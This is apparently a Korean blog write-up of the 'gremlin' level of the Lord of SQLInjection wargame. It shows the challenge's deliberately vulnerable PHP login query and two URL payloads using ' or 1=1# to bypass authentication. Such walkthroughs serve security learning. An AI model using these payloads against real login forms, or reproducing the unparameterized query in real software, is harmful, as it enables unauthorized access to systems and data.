본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : gremlin

Write-Up

 

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 사용자의 입력을 그대로 반영하여, query를 그대로 실행한다. SQLi에 취약하며, payload는 아래와 같다. 

 

/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=1&pw=1%27or%201=1%23

/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=1%27or%201=1%23